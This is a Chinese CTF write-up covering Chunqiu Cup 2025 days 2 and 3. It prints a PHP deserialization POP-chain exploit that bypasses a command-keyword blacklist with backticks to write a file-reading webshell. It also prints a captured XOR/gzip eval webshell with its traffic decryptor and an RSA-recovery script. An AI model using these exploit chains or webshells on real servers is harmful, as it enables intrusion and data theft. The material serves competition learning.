2025春秋杯DAY2DAY3部分wp
DAY2
WEB
easy_ser
源码如下
<?php
function PassWAF1 ($data ) {
$BlackList = array ("eval" , "system" , "popen" , "exec" , "assert" , "phpinfo" , "shell_exec" , "pcntl_exec" , "passthru" , "popen" , "putenv" );
foreach ($BlackList as $value ) {
if (preg_match ("/" . $value . "/im" , $data )) {
return true ;
}
}
return false ;
}
function PassWAF2 ($str ) {
$output = '' ;
$count = 0 ;
foreach (str_split ($str , 16 ) as $v ) {
$hex_string = implode (' ' , str_split (bin2hex ($v ), 4 ));
$ascii_string = '' ;
foreach (str_split ($v ) as $c ) {
$ascii_string .= (($c < ' ' || $c > '~' ) ? '.' : $c );
}
$output .= sprintf ("%08x: %-40s %-16s\n" , $count , $hex_string , $ascii_string );
$count += 16 ;
}
return $output ;
}
function PassWAF3 ($data ) {
$BlackList = array ("\.\." , "\/" );
foreach ($BlackList as $value ) {
if (preg_match ("/" . $value . "/im" , $data )) {
return true ;
}
}
return false ;
}
function Base64Decode ($s ) {
$decodeStr = base64_decode ($s );
if (is_bool ($decodeStr )) {
echo "gg" ;
exit (-1 );
}
return $decodeStr ;
}
class STU {
public $stu ;
public function __construct ($stu ) {
$this ->stu = $stu ;
}
public function __invoke ( ) {
echo $this ->stu;
}
}
class SDU {
public $Dazhuan ;
public function __wakeup ( ) {
$Dazhuan = $this ->Dazhuan;
$Dazhuan ();
}
}
class CTF {
public $hackman ;
public $filename ;
public function __toString ( ) {
$data = Base64Decode ($this ->hackman);
$filename = $this ->filename;
if (PassWAF1 ($data )) {
echo "so dirty" ;
return ;
}
if (PassWAF3 ($filename )) {
echo "just so so?" ;
return ;
}
file_put_contents ($filename , PassWAF2 ($data ));
echo "hack?" ;
return "really!" ;
}
public function __destruct ( ) {
echo "bye" ;
}
}
$give = $_POST ['data' ];
if (isset ($_POST ['data' ])) {
unserialize ($give );
} else {
echo "<center>听说pop挺好玩的</center>" ;
highlight_file (__FILE__ );
}
代码审计:
先触发SDU类里的__wakeup () 发序列化自动触发wakeup,存在$Dazhuan () 可以触发STU的__invoke (),存在echo $this ->stu;可以触发CTF类里的__tosting () 所以链子主思路为SDU --> STU --> CTF
对于WAF的绕过:
WAF1黑名单过滤 禁用了很多RCE关键字 但是发现没有过滤反引号
WAF3过滤了 .. 和/ 防止我们目录穿越
WAF2对于原始字符组中的每个字符 $c,检查其 ASCII 值是否在可打印字符范围。 如果不在这个范围,则用 . 代替
function buildChain ( ) {
$ctf = new CTF ();
$ctf ->hackman = base64_encode ("<?=`cat /f*`;" );
$ctf ->filename = "1.php" ;
$stu = new STU ($ctf );
$sdu = new SDU ($stu );
$sdu ->Dazhuan=$stu ;
$serialized = serialize ($sdu );
echo $serialized ;
unserialize ($serialized );
}
buildChain ();
MISC
Weevil's Whisper
发现上传了一个shell
<?php
$k ="161ebd7d" ;$kh ="45089b3446ee" ;$kf ="4e0d86dbcf92" ;$p ="lFDu8RwONqmag5ex" ;
function x ($t ,$k ) {
$c =strlen ($k );$l =strlen ($t );$o ="" ;
for ($i =0 ;$i <$l ;){
for ($j =0 ;($j <$c &&$i <$l );$j ++,$i ++)
{
$o .=$t [$i ]^$k [$j ];
}
}
return $o ;
}
if (@preg_match ("/$kh (.+)$kf /" ,@file_get_contents ("php://input" ),$m )==1 ) {
@ob_start ();
@eval (@gzuncompress (@x (@base64_decode ($m [1 ]),$k )));
$o =@ob_get_contents ();
@ob_end_clean ();
$r =@base64_encode (@x (@gzcompress ($o ),$k ));
print ("$p $kh $r $kf " );
}
?>
k为密钥161ebd7d,通过这段代码的上半段 我们知道存在异或运算 并流量分析可以看到后面有多个HTTP 状态码为200的回复包 我们直接查看最后一看
lFDu8RwONqmag5ex45089b3446eeSap6risomCodHP/PqrQaqvueeU+wURkueAeGLStP+bQE+HqsLq39zTQ2L1hsAA==4e0d86dbcf92
POC:
<?php
$key = '161ebd7d' ;
function x ($t , $k ) {
$c = strlen ($k );
$l = strlen ($t );
$o = '' ;
for ($i = 0 ; $i < $l ; ) {
for ($j = 0 ; ($j < $c && $i < $l ); $j ++, $i ++) {
$o .= $t [$i ] ^ $k [$j ];
}
}
return $o ;
}
function decrypt ($data ) {
global $key ;
$pkh = 'lFDu8RwONqmag5ex45089b3446ee' ;
$kf = '4e0d86dbcf92' ;
$base64_data = substr ($data , strlen ($pkh ), -strlen ($kf ));
$decoded_data = base64_decode ($base64_data );
$xor_decoded = x ($decoded_data , $key );
$decompressed_data = gzuncompress ($xor_decoded );
return $decompressed_data ;
}
$encrypted_data = 'lFDu8RwONqmag5ex45089b3446eeSap6risomCodHP/PqrQaqvueeU+wURkueAeGLStP+bQE+HqsLq39zTQ2L1hsAA==4e0d86dbcf92' ;
echo decrypt ($encrypted_data );
DAY3
Crypto
funny_rsa
题目源代码:
import random
import libnum
from Crypto.Util.number import bytes_to_long, long_to_bytes
print ("Welcome to ChunqiuCTF Game!" )
print ("接下来完成下面的挑战" )
print ("Good luck!" )
hint = b' '
m = b' '
p = libnum.generate_prime(1024 )
q = libnum.generate_prime(1024 )
n = p * q
print ("give you some funny numbers" )
print (p+q - p*q + random.randint(-1025 , +1025 ))
print (bytes_to_long(m)*bytes_to_long(hint))
print (bytes_to_long(m)*n*bytes_to_long(hint) - 1025 )
print (pow (bytes_to_long(hint), 65537 , n))
Welcome to ChunqiuCTF Game!
接下来完成下面的挑战
Good luck!
give you some funny numbers
-17696257697673533517695215344482784803953262308315416688683426036407670627060768442028628137969719289734388098357659521255966031131390425549974547376165392147394271974280020234101031837837842620775164967619688351222631803585213762205793801828461058523503457022704948803795360591719481537859524689187847958423587638744086265395438163720708785636319741908901866136858161996560525252461619641697255819255661269266471689541673348377717503957328827459396677344554172542244540931545166846117626585580964318010181586516365891413041095399344533013057011854734701706641516027767197631044458866554524544179750101814734153116374
23686728880494758233026798487859622755203105120130180108222733038275788082047755828771429849079142070779731875136837978862880500205129022165600511611807590195341629179443057553694284913974985006590617143873019530710952420242412437467917519539591683898715990297750494900923245055632544763410401540518654522017115269508183482044872091052235608170710105631742176900306097734799793264202179181242015892763311753674799273300604804820015447161950996038795518844564861004398396796284113803759208011
419166458284161364374927086939132546372091965414091344286510440034452974193054721041229068769658972346759176374539266235862042787888391905466876330331208651698002159575012622762558316612596034044109738533275009086940744966244759977014078484433213617582101347769476703012517531619023366639507114909172774156647998737369356116119513795863130218094614475699956104117183821832339358478426978211282822163928764161915824622224165694904342224081321345691796882691318330781141960650263488927837990954860719950761728580780956673732592771855694502630374907978111094148614378212006604233062606116168868545120407836000858982789824582335703891535021579560434875457656655941164757860852341484554015214879991896412137447010444797452119431147303295803678311972500421396900616845556636124424993090559354406417222700637726789045926994792374756038517484548544506630672251868349748176389591615802039026216656891403871728516658502023897343287181822303758976641229952646993446276281728919020747050486979968215989594984778920359425264076558022228448529089047021814759587052098774273578311709416672952218680244714492318709603579024
13541898381047120826573743874105965191304100799517820464813250201030319771155430755606644860103469823030581858410957600027665504533335597988508084284252510961847999525811558651340906333101248760970154440885012717108131962658921396549020943832983712611749095468180648011521808106480590665594160479324931351996812185581193608244652792936715504284312172734662364676167010674359243219959129435127950232321130725013160026977752389409620674167037650367196748592335698164875097139931376389630867192761783936757260359606379088577977154378217235326249540098268616890307702288393952949444753648206049856544634755301197410481479
总POC:
import gmpy2
import math
from sympy import symbols, solve, sqrt
from Crypto.Util.number import *
funny1 = -17696257697673533517695215344482784803953262308315416688683426036407670627060768442028628137969719289734388098357659521255966031131390425549974547376165392147394271974280020234101031837837842620775164967619688351222631803585213762205793801828461058523503457022704948803795360591719481537859524689187847958423587638744086265395438163720708785636319741908901866136858161996560525252461619641697255819255661269266471689541673348377717503957328827459396677344554172542244540931545166846117626585580964318010181586516365891413041095399344533013057011854734701706641516027767197631044458866554524544179750101814734153116374
funny2 = 23686728880494758233026798487859622755203105120130180108222733038275788082047755828771429849079142070779731875136837978862880500205129022165600511611807590195341629179443057553694284913974985006590617143873019530710952420242412437467917519539591683898715990297750494900923245055632544763410401540518654522017115269508183482044872091052235608170710105631742176900306097734799793264202179181242015892763311753674799273300604804820015447161950996038795518844564861004398396796284113803759208011
funny3 = 419166458284161364374927086939132546372091965414091344286510440034452974193054721041229068769658972346759176374539266235862042787888391905466876330331208651698002159575012622762558316612596034044109738533275009086940744966244759977014078484433213617582101347769476703012517531619023366639507114909172774156647998737369356116119513795863130218094614475699956104117183821832339358478426978211282822163928764161915824622224165694904342224081321345691796882691318330781141960650263488927837990954860719950761728580780956673732592771855694502630374907978111094148614378212006604233062606116168868545120407836000858982789824582335703891535021579560434875457656655941164757860852341484554015214879991896412137447010444797452119431147303295803678311972500421396900616845556636124424993090559354406417222700637726789045926994792374756038517484548544506630672251868349748176389591615802039026216656891403871728516658502023897343287181822303758976641229952646993446276281728919020747050486979968215989594984778920359425264076558022228448529089047021814759587052098774273578311709416672952218680244714492318709603579024
funny4 = 13541898381047120826573743874105965191304100799517820464813250201030319771155430755606644860103469823030581858410957600027665504533335597988508084284252510961847999525811558651340906333101248760970154440885012717108131962658921396549020943832983712611749095468180648011521808106480590665594160479324931351996812185581193608244652792936715504284312172734662364676167010674359243219959129435127950232321130725013160026977752389409620674167037650367196748592335698164875097139931376389630867192761783936757260359606379088577977154378217235326249540098268616890307702288393952949444753648206049856544634755301197410481479
n=(funny3+1025 )//gmpy2.gcd(funny3+1025 ,funny2)
p_add_q=funny1+n
p = 146244963903123897384722629319865983862385290427491632619680838698915634884136798118860944346342346684665267628932533730684360351083477628483048417394493368921029652616722076101582581881994784549216229374327065827698990452634615021972143959360660773895031574424678151072027651307994605157369826310532546455301
q = n//p
phi = (p-1 )*(q-1 )
d = gmpy2.invert(65537 ,phi)
hint = pow (funny4,d,n)
print (long_to_bytes(funny2//hint))
import gmpy2
funny1 = -17696257697673533517695215344482784803953262308315416688683426036407670627060768442028628137969719289734388098357659521255966031131390425549974547376165392147394271974280020234101031837837842620775164967619688351222631803585213762205793801828461058523503457022704948803795360591719481537859524689187847958423587638744086265395438163720708785636319741908901866136858161996560525252461619641697255819255661269266471689541673348377717503957328827459396677344554172542244540931545166846117626585580964318010181586516365891413041095399344533013057011854734701706641516027767197631044458866554524544179750101814734153116374
funny2 = 23686728880494758233026798487859622755203105120130180108222733038275788082047755828771429849079142070779731875136837978862880500205129022165600511611807590195341629179443057553694284913974985006590617143873019530710952420242412437467917519539591683898715990297750494900923245055632544763410401540518654522017115269508183482044872091052235608170710105631742176900306097734799793264202179181242015892763311753674799273300604804820015447161950996038795518844564861004398396796284113803759208011
funny3 = 419166458284161364374927086939132546372091965414091344286510440034452974193054721041229068769658972346759176374539266235862042787888391905466876330331208651698002159575012622762558316612596034044109738533275009086940744966244759977014078484433213617582101347769476703012517531619023366639507114909172774156647998737369356116119513795863130218094614475699956104117183821832339358478426978211282822163928764161915824622224165694904342224081321345691796882691318330781141960650263488927837990954860719950761728580780956673732592771855694502630374907978111094148614378212006604233062606116168868545120407836000858982789824582335703891535021579560434875457656655941164757860852341484554015214879991896412137447010444797452119431147303295803678311972500421396900616845556636124424993090559354406417222700637726789045926994792374756038517484548544506630672251868349748176389591615802039026216656891403871728516658502023897343287181822303758976641229952646993446276281728919020747050486979968215989594984778920359425264076558022228448529089047021814759587052098774273578311709416672952218680244714492318709603579024
funny4 = 13541898381047120826573743874105965191304100799517820464813250201030319771155430755606644860103469823030581858410957600027665504533335597988508084284252510961847999525811558651340906333101248760970154440885012717108131962658921396549020943832983712611749095468180648011521808106480590665594160479324931351996812185581193608244652792936715504284312172734662364676167010674359243219959129435127950232321130725013160026977752389409620674167037650367196748592335698164875097139931376389630867192761783936757260359606379088577977154378217235326249540098268616890307702288393952949444753648206049856544634755301197410481479
n = (funny3 + 1025 ) // gmpy2.gcd(funny3 + 1025 , funny2)
p_add_q = funny1 + n
for delta in range (-1025 , 1026 ):
candidate_p_add_q = p_add_q + delta
A = 1
B = -candidate_p_add_q
C = n
discriminant = B ** 2 - 4 * A * C
if discriminant < 0 :
continue
sqrt_discriminant = gmpy2.isqrt(discriminant)
if sqrt_discriminant * sqrt_discriminant == discriminant:
p = (B + sqrt_discriminant) // (2 * A)
q = (B - sqrt_discriminant) // (2 * A)
p, q = min (p, q), max (p, q)
if p * q == n:
print (f"找到正确的 p 和 q!" )
print (f"p: {p} " )
print (f"q: {q} " )
break
WEB
easy_php
下载www.zip直接获取到源代码
在file.php文件中
<?php
header ("content-type:text/html;charset=utf-8" );
include 'function.php' ;
include 'class.php' ;
$file = $_GET ["file" ] ? $_GET ['file' ] : "" ;
if (empty ($file )) {
echo "<h2>There is no file to show!<h2/>" ;
}
$show = new Show ();
if (file_exists ($file )) {
$show ->source = $file ;
$show ->_show ();
} else if (!empty ($file )){
die ('file doesn\'t exists.' );
}
?>
在file.php文件中可以看到读取file,我们尝试直接去读取flag,直接非预期解
flag{a16dcb7549915546893a27a6d7927615}
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 10亿数据,如何做迁移?
· 清华大学推出第四讲使用 DeepSeek + DeepResearch 让科研像聊天一样简单!
· 推荐几款开源且免费的 .NET MAUI 组件库
· 易语言 —— 开山篇
· Trae初体验